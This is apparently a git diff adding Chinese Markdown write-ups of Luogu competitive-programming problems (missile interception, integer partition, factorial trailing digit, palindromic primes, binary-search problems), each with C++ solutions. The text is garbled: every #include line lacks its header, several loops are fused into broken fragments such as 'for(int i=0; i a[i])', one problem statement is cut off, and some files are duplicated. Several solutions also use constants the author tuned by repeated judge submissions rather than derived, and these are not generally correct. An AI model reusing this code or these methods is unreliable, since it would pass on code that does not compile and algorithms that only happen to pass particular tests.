+此外本题开启 spj,每点两问,按问给分。 + +--- + +$\text{upd 2022.8.24}$:新增加一组 Hack 数据。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int inf = 1e5 + 1; +int a[inf], q[inf], dp[inf], k, m, ans, res; +int main(){ + while(cin >> a[++k]); + for(int i=1; i<=k; i++){ + int l = 1; + while(l <= ans && q[l] >= a[i]) l++; + if(l > ans) q[++ans] = a[i]; + else q[l] = a[i]; + } + + for(int i=1; i<=k; i++){ + int l = 1; + while(l <= res && q[l] < a[i]) l++; + if(l > res) q[++res] = a[i]; + else q[l] = a[i]; + } + cout << ans-1 << endl << res; + return 0; +} +``` +# 删数问题 + +## 题目描述 + +键盘输入一个高精度的正整数 $N$(不超过 $250$ 位),去掉其中任意 $k$ 个数字后剩下的数字按原左右次序将组成一个新的非负整数。编程对给定的 $N$ 和 $k$,寻找一种方案使得剩下的数字组成的新数最小。 + +## 输入格式 + +输入两行正整数。 + +第一行输入一个高精度的正整数 $n$。 + +第二行输入一个正整数 $k$,表示需要删除的数字个数。 + +## 输出格式 + +输出一个整数,最后剩下的最小数。 + +## 样例 #1 + +### 样例输入 #1 + +``` +175438 +4 +``` + +### 样例输出 #1 + +``` +13 +``` + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int n, k, a[251], r, t=1, minn, ans; +bool flag; +string num; +int main(){ + cin >> num >> k; + n = num.size(); + for(int i=0; i a[i]){ + minn = i; + } + } + if(a[minn]) flag = true; + if(flag) cout << a[minn]; + k -= minn - t; + t = minn + 1; + ans++; + } + if(!flag) cout << 0; + return 0; +} +``` +# [NOIP2001 提高组] 数的划分 + +## 题目描述 + +将整数 $n$ 分成 $k$ 份,且每份不能为空,任意两个方案不相同(不考虑顺序)。 + +例如:$n=7$,$k=3$,下面三种分法被认为是相同的。 + +$1,1,5$; +$1,5,1$; +$5,1,1$. + +问有多少种不同的分法。 + +## 输入格式 + +$n,k$ ($6 暴力出奇迹,骗分过样例。 +> 数学先打表,$DP$看运气。 + +五重循环枚举,枚举的范围为啥是$\frac{n}{2}$ ?这是我反复利用$OJ$评测,得出的可以$AC$的范围。(如果范围是 $n$ 会超时) + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c44ce3d9aab94d408b2536300d2ba94f.png) + + +```cpp +// Author:PanDaoxi +#include +using namespace std; + +int n, m, ans; + +int main(){ + ios :: sync_with_stdio(false); + cin.tie(0); + cout.tie(0); + + cin >> n >> m; + + for(int i=1; i<=n>>1; i++){ + for(int j=i; j<=n>>1; j++){ + for(int k=j; k<=n>>1; k++){ + for(int l=k; l<=n>>1; l++){ + for(int q=l; q<=n>>1; q++){ + if( + m == 2 && 2*q <= n || + m == 3 && l*2+q <= n && q*2+l <= n || + m == 4 && l*2+q+k <= n && q*2+l+k <= n && 2*k+l+q <= n || + m == 5 && l*2+q+k+j <= n && q*2+l+k+j <= n && k*2+q+l+j <= n && j*2+q+k+l <= n || + m == 6 && l*2+q+k+j+i <= n && q*2+l+k+j+i <= n && k*2+q+l+j+i <= n && j*2+l+q+k+i <= n && i*2+j+k+l+q <= n + ){ + ans++; + } + if(m < 3) break; + } + if(m < 4) break; + } + if(m < 5) break; + } + if(m < 6) break; + } + } + + cout << ans; + + return 0; +} +``` +# [USACO3.2]阶乘问题 + +## 题目描述 + +也许你早就知道阶乘的含义,N阶乘是由1到N相乘而产生,如: + +$12!= 1 \times 2 \times 3 \times 4 \times 5 \times 6 \times 7 \times 8 \times 9 \times 10 \times 11 \times 12 = 479,001,600$ + +$12$的阶乘最右边的非零位为$6$。 + +写一个程序,计算$N(1 \le N \le 50,000,000)$阶乘的最右边的非零位的值。 + +注意:$10,000,000!$有$2499999$个零。 + +## 输入格式 + +仅一行包含一个正整数$N$。 + +## 输出格式 + +一个整数,表示最右边的非零位的值。 + +## 样例 #1 + +### 样例输入 #1 + +``` +12 +``` + +### 样例输出 #1 + +``` +6 +``` + +## 提示 + +USACO Training Section 3.2 + +你看这数据范围,直接算肯定不行。我们在每一次乘的时候 + +```cpp +// Author:PanDaoxi +#include +#define int long long +using namespace std; + +const int INF = 1e6; // 利用OJ反复提交得到的范围 +int n, ans = 1; + +signed main(){ + ios :: sync_with_stdio(false); + + cin >> n; + for(int i=1; i<=n; i++){ + ans *= i; + while(!(ans % 10)){ // 去掉0 + ans /= 10; + } + ans %= INF; // 进一步缩小范围(不然会超long long导致tle) + } + cout << ans % 10; // 范围的最后一位 + + return 0; +} +``` + diff --git "a/Luogu P1217 \345\233\236\346\226\207\350\264\250\346\225\260 Prime Palindromes.md" "b/Luogu P1217 \345\233\236\346\226\207\350\264\250\346\225\260 Prime Palindromes.md" new file mode 100644 index 0000000..d901a45 --- /dev/null +++ "b/Luogu P1217 \345\233\236\346\226\207\350\264\250\346\225\260 Prime Palindromes.md" @@ -0,0 +1,163 @@ +# [戳我直接看题解](#pandaoxi-yyds) + +# [USACO1.5]回文质数 Prime Palindromes + +## 题目描述 + +因为 $151$ 既是一个质数又是一个回文数(从左到右和从右到左是看一样的),所以 $151$ 是回文质数。 + +写一个程序来找出范围 $[a,b] (5 \le a < b \le 100,000,000)$(一亿)间的所有回文质数。 + +## 输入格式 + +第一行输入两个正整数 $a$ 和 $b$。 + +## 输出格式 + +输出一个回文质数的列表,一行一个。 + +## 样例 #1 + +### 样例输入 #1 + +``` +5 500 +``` + +### 样例输出 #1 + +``` +5 +7 +11 +101 +131 +151 +181 +191 +313 +353 +373 +383 +``` + +## 提示 + +Hint 1: Generate the palindromes and see if they are prime. + +提示 1: 找出所有的回文数再判断它们是不是质数(素数). + + +Hint 2: Generate palindromes by combining digits properly. You might need more than one of the loops like below. + +提示 2: 要产生正确的回文数,你可能需要几个像下面这样的循环。 + + +题目翻译来自NOCOW。 + +USACO Training Section 1.5 + + +产生长度为 $5$ 的回文数: + +```cpp +for (d1 = 1; d1 <= 9; d1+=2) { // 只有奇数才会是素数 + for (d2 = 0; d2 <= 9; d2++) { + for (d3 = 0; d3 <= 9; d3++) { + palindrome = 10000*d1 + 1000*d2 +100*d3 + 10*d2 + d1;//(处理回文数...) + } + } + } + +``` + +# 题解 +这个题暴力解是肯定解不了的,明摆着超时,要4秒多。 +我们如何优化呢? + +## 打表! +想不到吧?! +> 打表,是一个信息学专用术语,意指对一些题目,通过打表技巧获得**一个有序表或常量表**,来执行程序某一部分,优化时间复杂度。这种算法也可用于在对某种题目没有最优解法时,用来得到分数的一种策略。 —— **百度百科** + +既然我们得不到,我们就毁了它! + +生成表的程序: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int INF = 1e8; // 数据规模是1e8的 +bool judge(int n){ + // 判断回文 + int t=0, m=n; + while(m) t = t*10 + m%10, m /= 10; + if(t == n){ + // 如果回文接着判断质数 + if(n <= 1) return false; + for(int i=2; i*i<=n; i++) if(n%i == 0) return false; + return true; + } + else return false; +} +int main(){ + // 把表储存到文本文档里 + freopen("PANDAOXI_YYDS.txt", "w", stdout); + // 要开的数组的长度(即有多少个这样的回文质数) + int len = 0; + // 暴力枚举 + for(int i=2; i<=INF; i++){ + if(judge(i)){ + // 找到了这样的数,就输出它 + printf("%d, ", i); + len++; + } + } + // 换回来控制台输出 + freopen("con", "w", stdout); + // 输出长度 + printf("%d", len); + // 养成好习惯~ + fclose(stdout); + return 0; +} +``` + +哈哈,你看懂了吗? +运行一下,控制台输出的是: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c9a9e5f7a3af4065acde29df495c40c9.png) +我的小电脑运行了 $3.265$ 秒,放到竞赛里绝对是过不了的,但是我们打成了这个表: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9b91722dd6564aa9b93740e03bbda8b3.png) +$PanDaoxi\ \_YYDS$,~~名副其实~~,一身傲气。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a00248dab06e417c93305853a06f622c.png) + + +接下来我放出来 AC 的模板: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int INF = 782; // 数组长度 +int PANDAOXI_YYDS[INF] = {/* 看你自己咯,把 PANDAOXI_YYDS.txt 的内容直接复制过来 */}; // 打的表 +int main(){ + int a, b; + scanf("%d%d", &a, &b); + // 疯狂枚举 + for(int i=0; i b) break; // 已经超过尾,结束 + if(PANDAOXI_YYDS[i]>=a && PANDAOXI_YYDS[i]<=b) printf("%d\n", PANDAOXI_YYDS[i]); // 刚刚好,输出 + } + return 0; +} +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/fcbf4a54bd4e49d9a1b138b758fe4a1c.png) +29ms,轻松水过! + +**祝大家2021CSP取得好成绩,$AC++$ !** + +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0c940cb758a8433f80c3ac47f0be1ab2.png) + + + diff --git "a/Luogu P2440 \351\242\230\350\247\243.md" "b/Luogu P2440 \351\242\230\350\247\243.md" new file mode 100644 index 0000000..8f8595d --- /dev/null +++ "b/Luogu P2440 \351\242\230\350\247\243.md" @@ -0,0 +1,109 @@ +# 木材加工 + +## 题目背景 + +要保护环境 + +## 题目描述 + +木材厂有 $n$ 根原木,现在想把这些木头切割成 $k$ 段长度**均**为 $l$ 的小段木头(木头有可能有剩余)。 + +当然,我们希望得到的小段木头越长越好,请求出 $l$ 的最大值。 + +木头长度的单位是 $\text{cm}$,原木的长度都是正整数,我们要求切割得到的小段木头的长度也是正整数。 + +例如有两根原木长度分别为 $11$ 和 $21$,要求切割成等长的 $6$ 段,很明显能切割出来的小段木头长度最长为 $5$。 + +## 输入格式 + +第一行是两个正整数 $n,k$,分别表示原木的数量,需要得到的小段的数量。 + +接下来 $n$ 行,每行一个正整数 $L_i$,表示一根原木的长度。 + +## 输出格式 + +仅一行,即 $l$ 的最大值。 + +如果连 $\text{1cm}$ 长的小段都切不出来,输出 `0`。 + +## 样例 #1 + +### 样例输入 #1 + +``` +3 7 +232 +124 +456 +``` + +### 样例输出 #1 + +``` +114 +``` + +## 提示 + +#### 数据规模与约定 + +对于 $100\%$ 的数据,有 $1\le n\le 10^5$,$1\le k\le 10^8$,$1\le L_i\le 10^8(i\in[1,n])$。 + + +```cpp +// Author: PanDaoxi +#include +#define int long long +using namespace std; + +const int INF = 1e5 + 1; +int n, k, l, r, mid, a[INF]; + +bool check(int t){ + /* + 我们要求出每根棍按t截出来的数量 + 然后和k作比较 + 如果q >= k ===> true + 否则 ===> false + */ + int q = 0; + for(int i=1; i<=n; i++){ + q += a[i] / t; + } + return q >= k; +} + +signed main(){ + ios :: sync_with_stdio(false); + + cin >> n >> k; + l = 0, r = INT_MIN; + for(int i=1; i<=n; i++){ + cin >> a[i]; + r = max(r, a[i]); + } + + while(l <= r){ + mid = (l+r) / 2; + if(mid != 0){ + if(check(mid)){ + l = mid + 1; + } + else{ + r = mid - 1; + } + } + else{ + cout << 0; + return 0; + } + } + cout << r; + + return 0; +} +``` + + +[video(video-MkJdtLY6-1666702389191)(type-csdn)(url-https://live.csdn.net/v/embed/248023)(image-https://live-file.csdnimg.cn/release/live/file/1666620168028.png?x-oss-process=image/resize,l_300)(title-P2440题解)] + diff --git "a/Luogu P3853 \350\267\257\346\240\207\350\256\276\347\275\256.md" "b/Luogu P3853 \350\267\257\346\240\207\350\256\276\347\275\256.md" new file mode 100644 index 0000000..b28d013 --- /dev/null +++ "b/Luogu P3853 \350\267\257\346\240\207\350\256\276\347\275\256.md" @@ -0,0 +1,149 @@ +这大概是我第一次发![

普及+/提高](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/84d094ea3f424229bd155bb3d8b782ac.png)难题的题解吧…… + +这道题我整了好几天,才过。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4bcd20053e614580971629598b41be36.png) + +# 题面 $\&$ 题解 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d2c9f67209b043bdad5ba07139285077.png) + + +如果单纯地思考怎么拿部分分,那这个题并不难,暴力模拟一遍就行了,小样例能过。 +如果你要拿![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a361cbcf74914de7a47acb1e8348d347.png),那你就不能枚举了,需要**二分**降低时间复杂度。 + +> 我的老师说过:求最小值的最大值(最大值的最小值),跑不了**二分答案**。 + +因为起点和终点都有路标,所以我们可以确定出“空旷值”的范围啦(即下限为 $0$, 上限为 $L$)。我们在这期间开始二分答案每一个“空旷值”。 + +思考一下,二分答案的判断函数怎么写呢? +我们可以**从第一个路标枚举到最后一个路标,取两个路标的距离差**。如果这个距离差大于$mid$,那么我们就可以增加一个路标了。 +为了进一步降低时间复杂度,我们可以使用~~小学~~数学来解决一下。我们可以知道: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/52783020f9f94a129dbf3f95bebae093.png) +(图画的很丑,拿鼠标画的我尽力了) +考虑一种特殊情况,如果距离差刚好整除$mid$,那么需要减去一。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7d53b274ff754e488f927197ca3d3f43.png) +我们用一个计数器$cnt$记录每一个距离差之间放的路标数量。我们可以根据$cnt$和最多放的路标数量$K$作比较,如果$cnt<=K$返回真,反之返回假。 + +再说二分模板,我们可以根据$check$函数的返回值来对应$l$和$r$的变化。如果返回值为真,说明空旷值还可以进一步缩小;反之表示空旷值过小。 +**因此如果$check$返回真,我们需要往左看;返回假,我们需要向右看。** + +由于最后是求最小值,所以需要输出左边界。 + +完整程序如下: + +```cpp +// Author:PanDaoxi +#include +using namespace std; + +const int INF = 1e5 + 1; +int k, n, m, l, r, mid, a[INF]; + +bool check(int t){ + int cnt = 0, + now = 0; + for(int i=1; i<=n; i++){ + /* + 取两个路标之差x,cnt+=x/t + 特判如果x%t为0,那么cnt-- + */ + now = a[i] - now; + if(now > t) cnt += now/t - (now%t == 0); + now = a[i]; + } + if(cnt <= m) return true; + else return false; +} + +int main(){ + ios :: sync_with_stdio(false); + + cin >> k >> n >> m; + for(int i=1; i<=n; i++){ + cin >> a[i]; + } + l = 0, r = k; + + while(l <= r){ + mid = (l+r) / 2; + if(check(mid)){ + r = mid - 1; + } + else{ + l = mid + 1; + } + } + cout << l; + + return 0; +} +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d7ac5e14707a41db89b2bf5d61f1dbf9.png) + +# 拓展 +Luogu P2678 跳石头 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8b697e6797ff40ed84359ad01bb6d5b2.png) +类比于《路标设置》的思想,刚才的那道题是**枚举空旷指数**,这个题是**枚举跳跃距离**。思考一下,得到以下程序: + +```cpp +// Author:PanDaoxi +#include +#define int long long +using namespace std; + +const int INF = 5e4 + 1; +int k, m, n, l, r, mid, a[INF]; + +bool check(int t){ + int cnt = 0, + now = 0; + for(int i=1; i<=n; i++){ + if(a[i] - now >= t) now = a[i]; + else cnt++; + } + if(k - now < t){ + cnt++; + } + if(cnt <= m) return true; + else return false; +} + +signed main(){ + ios :: sync_with_stdio(false); + + cin >> k >> n >> m; + l = 1, r = k; + for(int i=1; i<=n; i++){ + cin >> a[i]; + } + + while(l <= r){ + mid = (l+r) / 2; + if(check(mid)){ + l = mid + 1; + } + else{ + r = mid - 1; + } + } + cout << r; + + return 0; +} +``` + +# 题外话 +预祝全天下$OIer$们程序员节快乐! + +我去年$1024$来的洛谷,到今天快一年了。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/aee468dca4724b35b4dc74216ef34ffd.png) +一年前我还啥也不是,现在已经可以开始挑战难题了(部分是跟着老师做的) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/436174b3b09947e085be1881105bcd68.png) + +--- + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/114fba857233428fb2a16616e379dc44.png#pic_center) + + +由于今年的形势(学校那边的七天小长假不好请),我决定不参加$CSP2022$,再努力一年,明年再战。 +$OIer$们加油啊!**祝全天下$OIer$能取得好成绩!** + diff --git "a/Luogu U238811 \345\260\217 P \347\232\204\346\225\260\345\255\246\351\242\230.md" "b/Luogu U238811 \345\260\217 P \347\232\204\346\225\260\345\255\246\351\242\230.md" new file mode 100644 index 0000000..4bf6627 --- /dev/null +++ "b/Luogu U238811 \345\260\217 P \347\232\204\346\225\260\345\255\246\351\242\230.md" @@ -0,0 +1,234 @@ +# [戳我直接看题解](#tijie) +--- + +# 小 P 的数学题 + +## 题目背景 + +小 $P$ 马上就要升入初中了。在此之前,他已经对初一的数学科目有了足够的了解…… + +## 题目描述 + +小 $P$ 有一些问题,想请你解答,内容主要是初一的数学题目,~~可能有些题有点儿超纲~~。 + +本题目分为 $12$ 个子问题,程序运行后首先输入一个整数 $n$ ( $1\le n\le 12$ ,分别对应冀教版的一至十一章,有一个是样例),程序需要输出第 $n$ 个问题的结果。 + +下面是每一道题的题干,请仔细阅读。 + +### 问题 1 +$有理数a, b,c\ 满足a+b+c>0,且abc<0,求\frac{\lvert a \rvert}{a}+\frac{\lvert b \rvert}{b}+\frac{\lvert c \rvert}{c}+\frac{\lvert abc \rvert}{abc} 的值。$ + +输出一个整数,表示此题的答案。 + +### 问题 2 +![luogu-t2](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/dc92ca6f15c50d6194809ba4c68b7537.jpeg) +输出一个**整数**,表示 $\angle EOC$ 的度数。 + +### 问题 3 +$当a取下列值时,求代数式\frac{a^{2}-3a+1}{5}的值: +\\(1)a=4;(2)a=-\frac{1}{3}.$ + +输出两个整数,用换行符隔开。 +除不尽的保留2位小数。 + +### 问题 4 +$先化简,再求值:2(a^{2}-2ab-b^{2})+(-a^{2}+3ab+3b^{2})。其中a是绝对值最小的数,b是最大的负整数。$ + +### 问题 5 +$规定“\heartsuit”是一种运算法则:a\heartsuit b=a^{2}-b. +\\(1)求5\heartsuit (-1)的值;(2)若(-4)\heartsuit x=2+x,求x的值。$ + +输出两个整数,用换行符隔开。 + +### 问题 6 +$解方程组: +\left\{\begin{matrix} + x+y=70, + \\2x+3y=180 +\end{matrix}\right.$ + +输出整数解 $x$ 、 $y$,用换行符隔开。 + +### 问题 7 + +![luogu-t7](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/180336494bc6ca159bf8e31a1790e0e6.jpeg) + +> 既然这是个大题,我帮你回答一半,第一题的证明题我帮你证明,下面这个你自己来。 +> +> $\\证明:\\\because BE平分\angle ABF,FC平分\angle BFG\\ +又\because \angle 1=\angle 2,\angle 1=\angle ABG,\angle 2=\angle BFG\\ +\therefore \angle EBF=\angle BFC\\ +\therefore EB//CF$ + +输出 $\angle BED$ 的度数,输出一个**整数**。 + +### 问题 8 +$求值:y(x+y)+(x-y)^2-x^2-2y^2,其中x=-\frac{1}{3},y=3.$ + +输出问题的答案(整数)。 + +### 问题 9 +![luogu-t9](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/00351394c991b2cd7b6b4c4f3aad7045.jpeg) + +输出 $2$ 个整数,一行一个,表示第一问和第二问的答案。 + +### 问题 10 +$解不等式组\left\{\begin{matrix} + 2x-5\ge 3(x-1), & ① +\\ \frac{x}{3}-\frac{x-1}{2}<1,& ② +\end{matrix}\right. 并写出它的所有整数解。$ + +输出不等式组的整数解,按从小到大排列,一行一个。 + +### 问题 11 +$因式分解:x^2-5xy+6y^2.\\ +答案:(x+ay)(x+by).(a 此题指向第 $12$ 号测试点,通过不会增加分数。 + +$解:\\ +\because x+y=7,xy=11\\ +\therefore x^2+y^2=(x+y)^2-2xy=7^2-22=27 \\ +\therefore \frac{1}{2}(x^2+y^2)=\frac{27}{2}=13.5$ + +### 提示 +- 回答问题思考全面; +- 提交之前记得检查; +- 可以直接使用判断,也可以提交答案生成程序。 + +# 题解 +> 这是我出的第二道题,欢迎观看我的[原创题单](https://www.luogu.com.cn/training/219530)。 + +呵呵,我今年新初一,但我喜欢内卷,就出了这个题目。 + +## 问题 1 +> 难点:绝对值的性质。 +> $\mathbf{若a\ge 0,|a|=a;\\若a<0,|a|=-a。}$ + +$解:\\\because abc<0 \\\therefore a,b,c中含有奇数个负因数 \\ \because a+b+c>0 \\\therefore a,b,c中至少有一个正数 \\ \therefore a,b,c一负二正 \\\therefore 原式=1+1-1-1=0.$ + +## 问题 2 +> 其实不难,是个方程题。 +> 主要就是加减消元。 + +$解:\\设\angle AOD=\angle DOB=x°,\ \angle BOE=y°\\ +则有\left\{\begin{matrix} + & 2x+3y=180\ \ ①,\\ + & x+y=70\ \ ② +\end{matrix}\right.,\\①-2\times ②消元,得y=40,代回②式,解得x=30. +\\故\angle AOD=30°.$ + +## 问题 3 +$解:\\原式=\frac{(a-1)^2-a}{5}=\frac{(a-1)^2}{5}-\frac{a}{5}.\\ +当a=4时,原式=\frac{9}{5}-\frac{4}{5}=1.\\ +当a=-\frac{1}{3}时,原式=\frac{\frac{19}{9}}{5}=\frac{19}{45}\approx 0.42.$ + +## 问题 4 +> 绝对值最小的数是 $0$,最大的负整数是$-1$。 + +$解:原式\\=2(0-0-1)+(0+0+3)\\=1$ + +## 问题 5 +$(1)原式=25+1=26.\\ +(2)16-x=2+x,解得x=7.$ + +## 问题 6 +解方程的内容,见[问题 4](#q2) 。 + +## 问题 7 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4495b69ae694430e85303a6a8118eeed.png) +$解:\\ +\because \angle 2=\angle ABF=\angle 1 \\ +\therefore AC//DG (同位角相等,两直线平行)\\ +\therefore \angle C=\angle CFG =35°\\ +\because BE//CF \\ +\therefore \angle CFG=\angle BEF=35°\\ +\therefore \angle BED=180°-\angle BEF=145°$ + +## 问题 8 +> 直接代入求值即可。 + +$解:原式 \\ +=xy+y^2+x^2+y^2-2xy-x^2-2y^2\\ +=-xy \\ +=1$ + +## 问题 9 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/91747c3fc3b8f511f1b732d905733355.jpeg#pic_center) +$解:\\ +(1)\\\because BE平分\angle CBD,\angle ABC=90°-40°=50° \\ +\therefore \angle CBE=\frac{180°-\angle ABC}{2}=65°\\ +(2)\\\because EB//FD \\ +\therefore \angle AEB=\angle EFD=180°-\angle A-(\angle ABC+\angle CBE)=180°-40°-115°=25°$ + +## 问题 10 +$解不等式组\left\{\begin{matrix} + 2x-5\ge 3(x-1), & ① +\\ \frac{x}{3}-\frac{x-1}{2}<1, &② +\end{matrix}\right. \\ +得-3 大家好,我在洛谷办了一场[比赛](https://www.luogu.com.cn/contest/86309),欢迎来参加。题目并不难,基本上都是红题,20分钟就写完了! +> 欢迎来报名参加嗷! + + +# [NOIP1999 普及组] 导弹拦截 + +## 题目描述 + +某国为了防御敌国的导弹袭击,发展出一种导弹拦截系统。但是这种导弹拦截系统有一个缺陷:虽然它的第一发炮弹能够到达任意的高度,但是以后每一发炮弹都不能高于前一发的高度。某天,雷达捕捉到敌国的导弹来袭。由于该系统还在试用阶段,所以只有一套系统,因此有可能不能拦截所有的导弹。 + + +输入导弹依次飞来的高度,计算这套系统最多能拦截多少导弹,如果要拦截所有导弹最少要配备多少套这种导弹拦截系统。 + +## 输入格式 + +一行,若干个整数,中间由空格隔开。 + +## 输出格式 + +两行,每行一个整数,第一个数字表示这套系统最多能拦截多少导弹,第二个数字表示如果要拦截所有导弹最少要配备多少套这种导弹拦截系统。 + +## 样例 #1 + +### 样例输入 #1 + +``` +389 207 155 300 299 170 158 65 +``` + +### 样例输出 #1 + +``` +6 +2 +``` + +## 提示 + +对于前 $50\%$ 数据(NOIP 原题数据),满足导弹的个数不超过 $2000$ 个。该部分数据总分共 $100$ 分。可使用$\mathcal O(n^2)$ 做法通过。 +对于后 $50\%$ 的数据,满足导弹的个数不超过 $10^5$ 个。该部分数据总分也为 $100$ 分。请使用 $\mathcal O(n\log n)$ 做法通过。 + +对于全部数据,满足导弹的高度为正整数,且不超过 $5\times 10^4$。 + + +此外本题开启 spj,每点两问,按问给分。 + +--- + +$\text{upd 2022.8.24}$:新增加一组 Hack 数据。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int inf = 1e5 + 1; +int a[inf], q[inf], dp[inf], k, m, ans, res; +int main(){ + while(cin >> a[++k]); + for(int i=1; i<=k; i++){ + int l = 1; + while(l <= ans && q[l] >= a[i]) l++; + if(l > ans) q[++ans] = a[i]; + else q[l] = a[i]; + } + + for(int i=1; i<=k; i++){ + int l = 1; + while(l <= res && q[l] < a[i]) l++; + if(l > res) q[++res] = a[i]; + else q[l] = a[i]; + } + cout << ans-1 << endl << res; + return 0; +} +``` +# 删数问题 + +## 题目描述 + +键盘输入一个高精度的正整数 $N$(不超过 $250$ 位),去掉其中任意 $k$ 个数字后剩下的数字按原左右次序将组成一个新的非负整数。编程对给定的 $N$ 和 $k$,寻找一种方案使得剩下的数字组成的新数最小。 + +## 输入格式 + +输入两行正整数。 + +第一行输入一个高精度的正整数 $n$。 + +第二行输入一个正整数 $k$,表示需要删除的数字个数。 + +## 输出格式 + +输出一个整数,最后剩下的最小数。 + +## 样例 #1 + +### 样例输入 #1 + +``` +175438 +4 +``` + +### 样例输出 #1 + +``` +13 +``` + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int n, k, a[251], r, t=1, minn, ans; +bool flag; +string num; +int main(){ + cin >> num >> k; + n = num.size(); + for(int i=0; i a[i]){ + minn = i; + } + } + if(a[minn]) flag = true; + if(flag) cout << a[minn]; + k -= minn - t; + t = minn + 1; + ans++; + } + if(!flag) cout << 0; + return 0; +} +``` +# [NOIP2001 提高组] 数的划分 + +## 题目描述 + +将整数 $n$ 分成 $k$ 份,且每份不能为空,任意两个方案不相同(不考虑顺序)。 + +例如:$n=7$,$k=3$,下面三种分法被认为是相同的。 + +$1,1,5$; +$1,5,1$; +$5,1,1$. + +问有多少种不同的分法。 + +## 输入格式 + +$n,k$ ($6 暴力出奇迹,骗分过样例。 +> 数学先打表,$DP$看运气。 + +五重循环枚举,枚举的范围为啥是$\frac{n}{2}$ ?这是我反复利用$OJ$评测,得出的可以$AC$的范围。(如果范围是 $n$ 会超时) + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c44ce3d9aab94d408b2536300d2ba94f.png) + + +```cpp +// Author:PanDaoxi +#include +using namespace std; + +int n, m, ans; + +int main(){ + ios :: sync_with_stdio(false); + cin.tie(0); + cout.tie(0); + + cin >> n >> m; + + for(int i=1; i<=n>>1; i++){ + for(int j=i; j<=n>>1; j++){ + for(int k=j; k<=n>>1; k++){ + for(int l=k; l<=n>>1; l++){ + for(int q=l; q<=n>>1; q++){ + if( + m == 2 && 2*q <= n || + m == 3 && l*2+q <= n && q*2+l <= n || + m == 4 && l*2+q+k <= n && q*2+l+k <= n && 2*k+l+q <= n || + m == 5 && l*2+q+k+j <= n && q*2+l+k+j <= n && k*2+q+l+j <= n && j*2+q+k+l <= n || + m == 6 && l*2+q+k+j+i <= n && q*2+l+k+j+i <= n && k*2+q+l+j+i <= n && j*2+l+q+k+i <= n && i*2+j+k+l+q <= n + ){ + ans++; + } + if(m < 3) break; + } + if(m < 4) break; + } + if(m < 5) break; + } + if(m < 6) break; + } + } + + cout << ans; + + return 0; +} +``` +# [USACO3.2]阶乘问题 + +## 题目描述 + +也许你早就知道阶乘的含义,N阶乘是由1到N相乘而产生,如: + +$12!= 1 \times 2 \times 3 \times 4 \times 5 \times 6 \times 7 \times 8 \times 9 \times 10 \times 11 \times 12 = 479,001,600$ + +$12$的阶乘最右边的非零位为$6$。 + +写一个程序,计算$N(1 \le N \le 50,000,000)$阶乘的最右边的非零位的值。 + +注意:$10,000,000!$有$2499999$个零。 + +## 输入格式 + +仅一行包含一个正整数$N$。 + +## 输出格式 + +一个整数,表示最右边的非零位的值。 + +## 样例 #1 + +### 样例输入 #1 + +``` +12 +``` + +### 样例输出 #1 + +``` +6 +``` + +## 提示 + +USACO Training Section 3.2 + +你看这数据范围,直接算肯定不行。我们在每一次乘的时候 + +```cpp +// Author:PanDaoxi +#include +#define int long long +using namespace std; + +const int INF = 1e6; // 利用OJ反复提交得到的范围 +int n, ans = 1; + +signed main(){ + ios :: sync_with_stdio(false); + + cin >> n; + for(int i=1; i<=n; i++){ + ans *= i; + while(!(ans % 10)){ // 去掉0 + ans /= 10; + } + ans %= INF; // 进一步缩小范围(不然会超long long导致tle) + } + cout << ans % 10; // 范围的最后一位 + + return 0; +} +``` + diff --git "a/LuoguP1217\345\233\236\346\226\207\350\264\250\346\225\260PrimePalindromes.md" "b/LuoguP1217\345\233\236\346\226\207\350\264\250\346\225\260PrimePalindromes.md" new file mode 100644 index 0000000..d901a45 --- /dev/null +++ "b/LuoguP1217\345\233\236\346\226\207\350\264\250\346\225\260PrimePalindromes.md" @@ -0,0 +1,163 @@ +# [戳我直接看题解](#pandaoxi-yyds) + +# [USACO1.5]回文质数 Prime Palindromes + +## 题目描述 + +因为 $151$ 既是一个质数又是一个回文数(从左到右和从右到左是看一样的),所以 $151$ 是回文质数。 + +写一个程序来找出范围 $[a,b] (5 \le a < b \le 100,000,000)$(一亿)间的所有回文质数。 + +## 输入格式 + +第一行输入两个正整数 $a$ 和 $b$。 + +## 输出格式 + +输出一个回文质数的列表,一行一个。 + +## 样例 #1 + +### 样例输入 #1 + +``` +5 500 +``` + +### 样例输出 #1 + +``` +5 +7 +11 +101 +131 +151 +181 